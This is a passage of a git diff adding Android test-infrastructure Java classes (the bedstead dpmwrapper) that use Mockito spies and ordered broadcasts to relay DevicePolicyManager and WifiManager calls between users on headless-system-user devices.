+        if (VERBOSE) {
+            Log.v(TAG, "Sending '" + result + "' to " + receiver + " on " + Thread.currentThread());
+        }
+        sendNoLog(receiver, RESULT_OK, result);
+        if (VERBOSE) Log.v(TAG, "Sent");
+    }
+
+    private static void sendNoLog(DeviceAdminReceiver receiver, int code, Object result) {
+        receiver.setResultCode(code);
+        if (result != null) {
+            Intent intent = new Intent();
+            addArg(intent, new Object[] { result }, /* index= */ 0);
+            receiver.setResultExtras(intent.getExtras());
+        }
+    }
+
+    private DeviceOwnerHelper() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
new file mode 100644
index 0000000..ae1a92c
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.doAnswer;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.util.HashMap;
+
+final class DevicePolicyManagerWrapper
+        extends TestAppSystemServiceFactory.ServiceManagerWrapper<DevicePolicyManager> {
+
+    private static final String TAG = DevicePolicyManagerWrapper.class.getSimpleName();
+
+    private static final HashMap<Context, DevicePolicyManager> sSpies = new HashMap<>();
+
+    @Override
+    DevicePolicyManager getWrapper(Context context, DevicePolicyManager dpm, Answer<?> answer) {
+        int userId = context.getUserId();
+        DevicePolicyManager spy = sSpies.get(context);
+        if (spy != null) {
+            Log.d(TAG, "get(): returning cached spy for user " + userId);
+            return spy;
+        }
+
+        Log.d(TAG, "get(): creating spy for user " + context.getUserId());
+        spy = Mockito.spy(dpm);
+
+        // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
+        // but that's probably not doable, as there is no contract (such as an interface) to specify
+        // which ones should be spied and which ones should not (in fact, if there was an interface,
+        // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
+        try {
+            // Basic methods used by most tests
+            doAnswer(answer).when(spy).isAdminActive(any());
+            doAnswer(answer).when(spy).isDeviceOwnerApp(any());
+            doAnswer(answer).when(spy).isManagedProfile(any());
+            doAnswer(answer).when(spy).isProfileOwnerApp(any());
+            doAnswer(answer).when(spy).isAffiliatedUser();
+
+            // Used by SetTimeTest
+            doAnswer(answer).when(spy).setTime(any(), anyLong());
+            doAnswer(answer).when(spy).setTimeZone(any(), any());
+            doAnswer(answer).when(spy).setGlobalSetting(any(), any(), any());
+
+            // Used by UserControlDisabledPackagesTest
+            doAnswer(answer).when(spy).setUserControlDisabledPackages(any(), any());
+            doAnswer(answer).when(spy).getUserControlDisabledPackages(any());
+
+            // Used by DeviceOwnerProvisioningTest
+            doAnswer(answer).when(spy).enableSystemApp(any(), any(String.class));
+            doAnswer(answer).when(spy).enableSystemApp(any(), any(Intent.class));
+
+            // Used by HeadlessSystemUserTest
+            doAnswer(answer).when(spy).getProfileOwnerAsUser(anyInt());
+            doAnswer(answer).when(spy).getProfileOwnerAsUser(any());
+
+            // Used by NetworkLoggingTest
+            doAnswer(answer).when(spy).retrieveNetworkLogs(any(), anyLong());
+            doAnswer(answer).when(spy).setNetworkLoggingEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).isNetworkLoggingEnabled(any());
+
+            // Used by CtsVerifier
+            doAnswer(answer).when(spy).addUserRestriction(any(), any());
+            doAnswer(answer).when(spy).clearUserRestriction(any(), any());
+            doAnswer(answer).when(spy).clearDeviceOwnerApp(any());
+            doAnswer(answer).when(spy).setKeyguardDisabledFeatures(any(), anyInt());
+            doAnswer(answer).when(spy).setPasswordQuality(any(), anyInt());
+            doAnswer(answer).when(spy).setMaximumTimeToLock(any(), anyInt());
+            doAnswer(answer).when(spy).setPermittedAccessibilityServices(any(), any());
+            doAnswer(answer).when(spy).setPermittedInputMethods(any(), any());
+            doAnswer(answer).when(spy).setDeviceOwnerLockScreenInfo(any(), any());
+            doAnswer(answer).when(spy).setKeyguardDisabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setAutoTimeRequired(any(), anyBoolean());
+            doAnswer(answer).when(spy).setStatusBarDisabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setOrganizationName(any(), any());
+            doAnswer(answer).when(spy).setSecurityLoggingEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setPermissionGrantState(any(), any(), any(), anyInt());
+            doAnswer(answer).when(spy).clearPackagePersistentPreferredActivities(any(), any());
+            doAnswer(answer).when(spy).setAlwaysOnVpnPackage(any(), any(), anyBoolean());
+            doAnswer(answer).when(spy).setRecommendedGlobalProxy(any(), any());
+            doAnswer(answer).when(spy).uninstallCaCert(any(), any());
+            doAnswer(answer).when(spy).setMaximumFailedPasswordsForWipe(any(), anyInt());
+            doAnswer(answer).when(spy).setSecureSetting(any(), any(), any());
+            doAnswer(answer).when(spy).setAffiliationIds(any(), any());
+            doAnswer(answer).when(spy).setStartUserSessionMessage(any(), any());
+            doAnswer(answer).when(spy).setEndUserSessionMessage(any(), any());
+            doAnswer(answer).when(spy).setLogoutEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).removeUser(any(), any());
+
+            // Used by DevicePolicySafetyCheckerIntegrationTest
+            doAnswer(answer).when(spy).createAndManageUser(any(), any(), any(), any(), anyInt());
+            doAnswer(answer).when(spy).lockNow();
+            doAnswer(answer).when(spy).lockNow(anyInt());
+            doAnswer(answer).when(spy).logoutUser(any());
+            doAnswer(answer).when(spy).reboot(any());
+            doAnswer(answer).when(spy).removeActiveAdmin(any());
+            doAnswer(answer).when(spy).removeKeyPair(any(), any());
+            doAnswer(answer).when(spy).requestBugreport(any());
+            doAnswer(answer).when(spy).setAlwaysOnVpnPackage(any(), any(), anyBoolean(), any());
+            doAnswer(answer).when(spy).setApplicationHidden(any(), any(), anyBoolean());
+            doAnswer(answer).when(spy).setApplicationRestrictions(any(), any(), any());
+            doAnswer(answer).when(spy).setCameraDisabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setFactoryResetProtectionPolicy(any(), any());
+            doAnswer(answer).when(spy).setGlobalPrivateDnsModeOpportunistic(any());
+            doAnswer(answer).when(spy).setKeepUninstalledPackages(any(), any());
+            doAnswer(answer).when(spy).setLockTaskFeatures(any(), anyInt());
+            doAnswer(answer).when(spy).setLockTaskPackages(any(), any());
+            doAnswer(answer).when(spy).setMasterVolumeMuted(any(), anyBoolean());
+            doAnswer(answer).when(spy).setOverrideApnsEnabled(any(), anyBoolean());
+            doAnswer(answer).when(spy).setPermissionPolicy(any(), anyInt());
+            doAnswer(answer).when(spy).setRestrictionsProvider(any(), any());
+            doAnswer(answer).when(spy).setSystemUpdatePolicy(any(), any());
+            doAnswer(answer).when(spy).setTrustAgentConfiguration(any(), any(), any());
+            doAnswer(answer).when(spy).startUserInBackground(any(), any());
+            doAnswer(answer).when(spy).stopUser(any(), any());
+            doAnswer(answer).when(spy).switchUser(any(), any());
+            doAnswer(answer).when(spy).wipeData(anyInt(), any());
+            doAnswer(answer).when(spy).wipeData(anyInt());
+
+            // Used by ListForegroundAffiliatedUsersTest
+            doAnswer(answer).when(spy).listForegroundAffiliatedUsers();
+
+            // TODO(b/176993670): add more methods below as tests are converted
+        } catch (Exception e) {
+            // Should never happen, but needs to be catch as some methods declare checked exceptions
+            Log.wtf("Exception setting mocks", e);
+        }
+
+        sSpies.put(context, spy);
+        Log.d(TAG, "get(): returning new spy for context " + context + " and user "
+                + userId);
+
+        return spy;
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppCallbacksReceiver.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppCallbacksReceiver.java
new file mode 100644
index 0000000..23ffe82
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppCallbacksReceiver.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.Utils.MY_USER_ID;
+import static com.android.bedstead.dpmwrapper.Utils.VERBOSE;
+import static com.android.bedstead.dpmwrapper.Utils.assertCurrentUserOnHeadlessSystemMode;
+
+import android.app.ActivityManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.UserHandle;
+import android.util.ArrayMap;
+import android.util.Log;
+
+import com.android.internal.annotations.GuardedBy;
+
+import java.util.ArrayList;
+
+/**
+ * {@link BroadcastReceiver} used in the test apps to receive intents that were originally sent to
+ * the device owner's {@link android.app.admin.DeviceAdminReceiver}.
+ *
+ * <p>It must be declared in the manifest:
+ * <pre><code>
+   <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
+</code></pre>
+ *
+ */
+public final class TestAppCallbacksReceiver extends BroadcastReceiver {
+
+    private static final String TAG = TestAppCallbacksReceiver.class.getSimpleName();
+    private static final String EXTRA = "relayed_intent";
+
+    private static final Object LOCK = new Object();
+    private static HandlerThread sHandlerThread;
+    private static Handler sHandler;
+
+    /**
+     * Map of receivers per intent action.
+     */
+    @GuardedBy("LOCK")
+    private static final ArrayMap<String, ArrayList<BroadcastReceiver>> sRealReceivers =
+            new ArrayMap<>();
+
+    /**
+     * Called by {@code ActivityManager} to deliver an intent.
+     */
+    public TestAppCallbacksReceiver() {
+        assertCurrentUserOnHeadlessSystemMode();
+        if (sHandlerThread == null) {
+            sHandlerThread = new HandlerThread("NonDeviceOwnerCallbackReceiverThread");
+            Log.i(TAG, "Starting thread " + sHandlerThread + " on user " + MY_USER_ID);
+            sHandlerThread.start();
+            sHandler = new Handler(sHandlerThread.getLooper());
+        }
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, " received intent on user " + context.getUserId() + ": " + intent);
+        Intent realIntent = intent.getParcelableExtra(EXTRA);
+        if (realIntent == null) {
+            Log.e(TAG, "No " + EXTRA + " on intent " + intent);
+            return;
+        }
+        String action = realIntent.getAction();
+        ArrayList<BroadcastReceiver> receivers;
+        synchronized (LOCK) {
+            receivers = sRealReceivers.get(action);
+        }
+        if (receivers == null || receivers.isEmpty()) {
+            Log.e(TAG, "onReceive(): no receiver for " + action + ": " + sRealReceivers);
+            return;
+        }
+        Log.d(TAG, "Will dispatch intent to " + receivers.size() + " on handler thread");
+        receivers.forEach((r) -> sHandler.post(() ->
+                handleDispatchIntent(r, context, realIntent)));
+    }
+
+    private void handleDispatchIntent(BroadcastReceiver receiver, Context context,
+            Intent intent) {
+        Log.d(TAG, "Dispatching " + intent + " to " + receiver + " on thread "
+                + Thread.currentThread());
+        receiver.onReceive(context, intent);
+    }
+
+    static void registerReceiver(Context context, BroadcastReceiver receiver,
+            IntentFilter filter) {
+        if (VERBOSE) Log.v(TAG, "registerReceiver(): " + receiver);
+        synchronized (LOCK) {
+            filter.actionsIterator().forEachRemaining((action) -> {
+                Log.d(TAG, "Registering " + receiver + " for " + action);
+                ArrayList<BroadcastReceiver> receivers = sRealReceivers.get(action);
+                if (receivers == null) {
+                    receivers = new ArrayList<>();
+                    if (VERBOSE) Log.v(TAG, "Creating list of receivers for " + action);
+                    sRealReceivers.put(action, receivers);
+                }
+                receivers.add(receiver);
+            });
+        }
+    }
+
+    static void unregisterReceiver(Context context, BroadcastReceiver receiver) {
+        if (VERBOSE) Log.v(TAG, "unregisterReceiver(): " + receiver);
+
+        synchronized (LOCK) {
+            for (int i = 0; i < sRealReceivers.size(); i++) {
+                String action = sRealReceivers.keyAt(i);
+                ArrayList<BroadcastReceiver> receivers = sRealReceivers.valueAt(i);
+                boolean removed = receivers.remove(receiver);
+                if (removed) {
+                    Log.d(TAG, "Removed " + receiver + " for action " + action);
+                }
+            }
+        }
+    }
+
+    static void sendBroadcast(Context context, Intent intent) {
+        int currentUserId = ActivityManager.getCurrentUser();
+        Intent bridgeIntent = new Intent(context, TestAppCallbacksReceiver.class)
+                .putExtra(EXTRA, intent);
+        Log.d(TAG, "Relaying " + intent + " from user " + MY_USER_ID + " to user "
+                + currentUserId + " using " + bridgeIntent);
+        context.sendBroadcastAsUser(bridgeIntent, UserHandle.of(currentUserId));
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
new file mode 100644
index 0000000..3df6d62
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.Utils.isCurrentUserOnHeadlessSystemUser;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.IntentFilter;
+
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+/**
+ * Helper class used by the test apps.
+ */
+public final class TestAppHelper {
+
+    /**
+     * Called by test case to register a {@link BrodcastReceiver} to receive intents sent by the
+     * device owner's {@link android.app.admin.DeviceAdminReceiver}.
+     */
+    public static void registerTestCaseReceiver(Context context, BroadcastReceiver receiver,
+            IntentFilter filter) {
+        if (isCurrentUserOnHeadlessSystemUser()) {
+            TestAppCallbacksReceiver.registerReceiver(context, receiver, filter);
+            return;
+        }
+        LocalBroadcastManager.getInstance(context).registerReceiver(receiver, filter);
+    }
+
+    /**
+     * Called by test case to unregister a {@link BrodcastReceiver} that receive intents sent by the
+     * device owner's {@link android.app.admin.DeviceAdminReceiver}.
+     */
+    public static void unregisterTestCaseReceiver(Context context, BroadcastReceiver receiver) {
+        if (isCurrentUserOnHeadlessSystemUser()) {
+            TestAppCallbacksReceiver.unregisterReceiver(context, receiver);
+            return;
+        }
+        LocalBroadcastManager.getInstance(context).unregisterReceiver(receiver);
+    }
+
+    private TestAppHelper() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
new file mode 100644
index 0000000..26d59bf
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -0,0 +1,254 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static com.android.bedstead.dpmwrapper.DataFormatter.addArg;
+import static com.android.bedstead.dpmwrapper.DataFormatter.getArg;
+import static com.android.bedstead.dpmwrapper.Utils.ACTION_WRAPPED_MANAGER_CALL;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_CLASS;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_METHOD;
+import static com.android.bedstead.dpmwrapper.Utils.EXTRA_NUMBER_ARGS;
+import static com.android.bedstead.dpmwrapper.Utils.VERBOSE;
+
+import android.annotation.Nullable;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.DebugUtils;
+import android.util.Log;
+
+import org.mockito.stubbing.Answer;
+
+import java.lang.reflect.InvocationTargetException;
+import java.util.Locale;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+//TODO(b/176993670): STOPSHIP - it currently uses ordered broadcasts and a Mockito spy to implement
+//the IPC between users, but before S is shipped it should be changed to use the connected apps SDK
+//or the new CTS infrastructure.
+/**
+ * Class used to create to provide a {@link DevicePolicyManager} implementation (and other managers
+ * that must be run by the device owner user) that automatically funnels calls between the user
+ * running the tests and the user that is the device owner.
+ */
+public final class TestAppSystemServiceFactory {
+
+    private static final String TAG = TestAppSystemServiceFactory.class.getSimpleName();
+
+    static final int RESULT_OK = 42;
+    static final int RESULT_EXCEPTION = 666;
+
+    // Must be high enough to outlast long tests like NetworkLoggingTest, which waits up to
+    // 6 minutes for network monitoring events.
+    private static final long TIMEOUT_MS = TimeUnit.MINUTES.toMillis(10);
+
+    private static final HandlerThread HANDLER_THREAD = new HandlerThread(TAG + "HandlerThread");
+
+    private static Handler sHandler;
+
+    /**
+     * Gets the proper {@link DevicePolicyManager} instance to be used by the test.
+     */
+    public static DevicePolicyManager getDevicePolicyManager(Context context,
+            Class<? extends DeviceAdminReceiver> receiverClass) {
+        return getSystemService(context, DevicePolicyManager.class, receiverClass);
+    }
+
+    /**
+     * Gets the proper {@link WifiManager} instance to be used by the test.
+     */
+    public static WifiManager getWifiManager(Context context,
+            Class<? extends DeviceAdminReceiver> receiverClass) {
+        return getSystemService(context, WifiManager.class, receiverClass);
+    }
+
+    private static <T> T getSystemService(Context context, Class<T> serviceClass,
+            Class<? extends DeviceAdminReceiver> receiverClass) {
+
+        ServiceManagerWrapper<T> wrapper = null;
+        Class<?> wrappedClass;
+
+        if (serviceClass.equals(DevicePolicyManager.class)) {
+            wrappedClass = DevicePolicyManager.class;
+            @SuppressWarnings("unchecked")
+            ServiceManagerWrapper<T> safeCastWrapper =
+                    (ServiceManagerWrapper<T>) new DevicePolicyManagerWrapper();
+            wrapper = safeCastWrapper;
+        } else if (serviceClass.equals(WifiManager.class)) {
+            @SuppressWarnings("unchecked")
+            ServiceManagerWrapper<T> safeCastWrapper =
+                    (ServiceManagerWrapper<T>) new WifiManagerWrapper();
+            wrapper = safeCastWrapper;
+            wrappedClass = WifiManager.class;
+        } else {
+            throw new IllegalArgumentException("invalid service class: " + serviceClass);
+        }
+
+        @SuppressWarnings("unchecked")
+        T manager = (T) context.getSystemService(wrappedClass);
+
+        int userId = context.getUserId();
+        if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+            Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
+            return manager;
+        }
+
+        if (sHandler == null) {
+            Log.i(TAG, "Starting handler thread " + HANDLER_THREAD);
+            HANDLER_THREAD.start();
+            sHandler = new Handler(HANDLER_THREAD.getLooper());
+        }
+
+        String receiverClassName = receiverClass.getName();
+        final String wrappedClassName = wrappedClass.getName();
+        if (VERBOSE) {
+            Log.v(TAG, "get(): receiverClassName: " + receiverClassName
+                    + ", wrappedClassName: " + wrappedClassName);
+        }
+
+        Answer<?> answer = (inv) -> {
+            Object[] args = inv.getArguments();
+            Log.d(TAG, "spying " + inv + " method: " + inv.getMethod());
+            String methodName = inv.getMethod().getName();
+            Intent intent = new Intent(ACTION_WRAPPED_MANAGER_CALL)
+                    .setClassName(context, receiverClassName)
+                    .putExtra(EXTRA_CLASS, wrappedClassName)
+                    .putExtra(EXTRA_METHOD, methodName)
+                    .putExtra(EXTRA_NUMBER_ARGS, args.length);
+            for (int i = 0; i < args.length; i++) {
+                addArg(intent, args, i);
+            }
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final AtomicReference<Result> resultRef = new AtomicReference<>();
+            BroadcastReceiver myReceiver = new BroadcastReceiver() {
+                public void onReceive(Context context, Intent intent) {
+                    String action = intent.getAction();
+                    if (VERBOSE) {
+                        Log.v(TAG, "spy received intent " + action + " for user "
+                                + context.getUserId());
+                    }
+                    Result result = new Result(this);
+                    if (VERBOSE) Log.v(TAG, "result:" + result);
+                    resultRef.set(result);
+                    latch.countDown();
+                };
+
+            };
+            if (VERBOSE) {
+                Log.v(TAG, "Sending ordered broadcast from user " + userId + " to user "
+                        + UserHandle.SYSTEM);
+            }
+
+            // NOTE: method below used to be wrapped under runWithShellPermissionIdentity() to get
+            // INTERACT_ACROSS_USER permission, but that's not needed anymore (as the permission
+            // is granted by the test. Besides, this class is now also used by DO apps that are not
+            // instrumented, so it was removed
+            context.sendOrderedBroadcastAsUser(intent,
+                    UserHandle.SYSTEM, /* permission= */ null, myReceiver, sHandler,
+                    /* initialCode= */ 0, /* initialData= */ null, /* initialExtras= */ null);
+
+            if (VERBOSE) {
+                Log.d(TAG, "Waiting up to " + TIMEOUT_MS + "ms for response on "
+                        + Thread.currentThread());
+            }
+            if (!latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                fail("Ordered broadcast for %s() not received in %dms", methodName, TIMEOUT_MS);
+            }
+            if (VERBOSE) Log.d(TAG, "Got response");
+
+            Result result = resultRef.get();
+            Log.d(TAG, "Received result on user " + userId + ": " + result);
+
+            switch (result.code) {
+                case RESULT_OK:
+                    return result.value;
+                case RESULT_EXCEPTION:
+                    Exception e = (Exception) result.value;
+                    throw (e instanceof InvocationTargetException) ? e.getCause() : e;
+                default:
+                    fail("Received invalid result: %s", result);
+                    return null;
+            }
+        };
+
+        T spy = wrapper.getWrapper(context, manager, answer);
+
+        return spy;
+
+    }
+
+    private static String resultCodeToString(int code) {
+        return DebugUtils.constantToString(DevicePolicyManagerWrapper.class, "RESULT_", code);
+    }
+
+    private static void fail(String template, Object... args) {
+        throw new AssertionError(String.format(Locale.ENGLISH, template, args));
+    }
+
+    private static final class Result {
+        public final int code;
+        @Nullable public final String error;
+        @Nullable public final Bundle extras;
+        @Nullable public final Object value;
+
+        Result(BroadcastReceiver receiver) {
+            int resultCode = receiver.getResultCode();
+            String data = receiver.getResultData();
+            extras = receiver.getResultExtras(/* makeMap= */ true);
+            Object parsedValue = null;
+            try {
+                if (extras != null && !extras.isEmpty()) {
+                    Object[] result = new Object[1];
+                    int index = 0;
+                    getArg(extras, result, /* parameterTypes= */ null, index);
+                    parsedValue = result[index];
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "error parsing extras (code=" + resultCode + ", data=" + data, e);
+                data = "error parsing extras";
+                resultCode = RESULT_EXCEPTION;
+            }
+            code = resultCode;
+            error = data;
+            value = parsedValue;
+        }
+
+        @Override
+        public String toString() {
+            return "Result[code=" + resultCodeToString(code) + ", error=" + error
+                    + ", extras=" + extras + ", value=" + value + "]";
+        }
+    }
+
+    abstract static class ServiceManagerWrapper<T> {
+        abstract T getWrapper(Context context, T manager, Answer<?> answer);
+    }
+
+    private TestAppSystemServiceFactory() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
new file mode 100644
index 0000000..8a8ae70
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import android.app.ActivityManager;
+import android.os.UserHandle;
+import android.os.UserManager;
+
+final class Utils {
+
+    static final boolean VERBOSE = false;
+
+    static final int MY_USER_ID = UserHandle.myUserId();
+
+    static final String ACTION_WRAPPED_MANAGER_CALL =
+            "com.android.bedstead.dpmwrapper.action.WRAPPED_MANAGER_CALL";
+    static final String EXTRA_CLASS = "className";
+    static final String EXTRA_METHOD = "methodName";
+    static final String EXTRA_NUMBER_ARGS = "number_args";
+    static final String EXTRA_ARG_PREFIX = "arg_";
+
+    static boolean isHeadlessSystemUser() {
+        return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
+    }
+
+    static boolean isCurrentUserOnHeadlessSystemUser() {
+        return UserManager.isHeadlessSystemUserMode()
+                && MY_USER_ID == ActivityManager.getCurrentUser();
+    }
+
+    static void assertCurrentUserOnHeadlessSystemMode() {
+        if (isCurrentUserOnHeadlessSystemUser()) return;
+
+        throw new IllegalStateException("Should only be called by current user ("
+                + ActivityManager.getCurrentUser() + ") on headless system user device, but was "
+                        + "called by process from user " + MY_USER_ID);
+    }
+
+    private Utils() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/WifiManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/WifiManagerWrapper.java
new file mode 100644
index 0000000..b3f570e
--- /dev/null
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/WifiManagerWrapper.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.bedstead.dpmwrapper;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Mockito.doAnswer;
+
+import android.content.Context;
+import android.net.wifi.WifiManager;
+import android.util.Log;
+
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory.ServiceManagerWrapper;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.util.HashMap;
+
+final class WifiManagerWrapper extends ServiceManagerWrapper<WifiManager> {
+
+    private static final String TAG = WifiManagerWrapper.class.getSimpleName();
+
+    private static final HashMap<Context, WifiManager> sSpies = new HashMap<>();
+
+    @Override
+    WifiManager getWrapper(Context context, WifiManager manager, Answer<?> answer) {
+        int userId = context.getUserId();
+        WifiManager spy = sSpies.get(context);
+        if (spy != null) {
+            Log.d(TAG, "get(): returning cached spy for user " + userId);
+            return spy;
+        }
+
+        Log.d(TAG, "get(): creating spy for user " + context.getUserId());
+        spy = Mockito.spy(manager);
+
+        // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
+        // but that's probably not doable, as there is no contract (such as an interface) to specify
+        // which ones should be spied and which ones should not (in fact, if there was an interface,
+        // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
+        try {
+            // Used by WifiConfigCreator (whish is used by CtsVerifier)
+            doAnswer(answer).when(spy).addNetwork(any());
+            doAnswer(answer).when(spy).enableNetwork(anyInt(), anyBoolean());
+            doAnswer(answer).when(spy).removeNetwork(anyInt());
+            doAnswer(answer).when(spy).getConfiguredNetworks();
+            doAnswer(answer).when(spy).updateNetwork(any());
+            doAnswer(answer).when(spy).saveConfiguration();
